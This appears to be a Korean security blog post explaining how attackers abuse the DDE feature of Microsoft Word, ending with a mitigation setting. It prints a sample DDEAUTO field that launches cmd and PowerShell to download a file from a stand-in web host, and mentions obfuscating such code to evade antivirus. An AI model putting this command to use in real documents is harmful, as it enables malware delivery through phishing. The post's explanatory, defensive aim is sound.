본문 바로가기

해킹-보안

MS-Office의 DDE 기능을 악용한 악성코드

반응형

ி DDE(Dynamic Data Exchange)


DDE는 사용자 편의를 위해 만들어진 기능으로서 응용 프로그램 간 데이터 전송을 위해 사용한다.
마이크로소프트에서 만든 프로그램인 워드(Word), 엑셀(Excel), VisualBasic 등
다양한 응용 프로그램에서 DDE를 쓴다.
예를 들어 워드 파일을 열람할 때 엑셀 파일에서 데이터를 가져오는 것도 DDE를 통해서 이루어진다.
이러한 기능을 가진 DDE가 실제 어떤 방식으로 악용되는지 알아보겠다.




ி DDE를 악용한 사례


DDE를 이용한 악용 사례 중 상당 부분이 MS 워드를 사용한다.
우선 MSword에서 DDE를 쓰려면

삽입 탭에 > [빠른 문서 요소] > [필드]에 들어간다.


필드를 Formula로 선택하고 확인한다. 



이제 글 문서에 !수식의 끝이 잘못되었습니다라는 필드가 출력된다.
해당 필드를 마우스 우클릭하여 [필드 코드 토글]을 누른다.



그리고 필드 코드 부분을 다른 프로그램이 실행되도록 바꿔보자.

우선 DDE 필드임을 알리는 DDEAUTO 키워드를 사용하여 문서가 열릴 때

코드가 자동으로 실행되도록 해야한다.


워드 문서가 열릴 때 계산기를 열게 하는 코드를 입력해보자.



워드 파일이 열릴 때 연결된 파일의 데이터로 이 문서를 업데이트하시겠습니까?

질문에 를 선택하면 추가로 응용 프로그램 실행 여부에 동의를 구한다.
이 또한 마찬가지로 예를 누르면 해당 DDE 필드 코드가 실행되어 계산기가 열리는 모습이다.


위 예시는 매우 간단한 코드이지만 필드 코드를 계산기 실행이 아닌
Powershell을 이용할 경우 DDE는 더 많은 곳에 악용될 소지가 있다.

또 다른 예시로 악성 코드 유포지에서 악성 파일을 다운받고
해당 파일을 실행시킬 수 있다.
테스트를 위해서 실제 악성 코드를 샘플로 제공할 수는 없으므로
순화시킨 샘플 코드를 보여주겠다.

DDEAUTO C:\\windows\\system32\\cmd “/k powershell.exe
$p=$env:systemdrive + '\users\'+$env:username+'\desktop\alert.txt';
(New-Object System.Net.WebClient).DownloadString('http://abcd1234.com/test.txt') > $p > alert.txt”
위 명령은 파워셸을 실행시키고 파워셸 스크립트로 특정 웹 사이트에 있는 txt 파일을  
내 컴퓨터 바탕화면에 저장한다.
DDE가 실제로 악용되는 경우라면 저기서 특정 웹 사이트는 
곧 바이러스 유포지 서버로 볼 수 있으며,  다운 받는 파일은 단순 txt 파일이 아닌 
실행 파일의 형태일 것이다. 

이렇게 만들어 낸 워드 파일을 VirusTotal에서 검사한 결과 

여러 백신에서 탐지하고 있는 것을 확인할 수 있다.

하지만 실제로 DDE를 악용한 문서를 배포할 때에는
백신에서 탐지를 못 하도록 DDE 코드를 난독화 시키므로 

사용자의 많은 주의가 요구된다. 


그렇다면 MS에서는 이러한 취약점이 있는데 왜 DDE를 없애지 않는 걸까?

해당 기능은 MS사의 정식적인 기능이기도 하고 아까 계산기를 실행하는 부분에서 사용자한테 사전에 "DDE 코드를 실행하겠다" 고 경고 메시지를 띄워 주는 부분이 있기 때문에 

개인이 조심하면 크게 문제 없다고 생각하여 따로 MS에서 패치를 진행하고 있지 않은 듯 보이며 

이건 지극히 내 주관적인 생각이니 걸러 들어도 좋다.


이러한 취약점을 이용한 실제 사례로
가짜 이력서로 위장하여 메일을 보내는 피싱 메일 혹은 APT 공격이 대표적이다.




ி DDE 취약점 예방법


해당 위협을 방지하려면 워드 옵션의 설정을 바꿔야 한다.

[파일] > [옵션]-> [고급 탭]으로 이동하여
일반 항목을 찾고 [문서를 열 때 자동 연결 업데이트] 항목에 체크를 해제한다.




반응형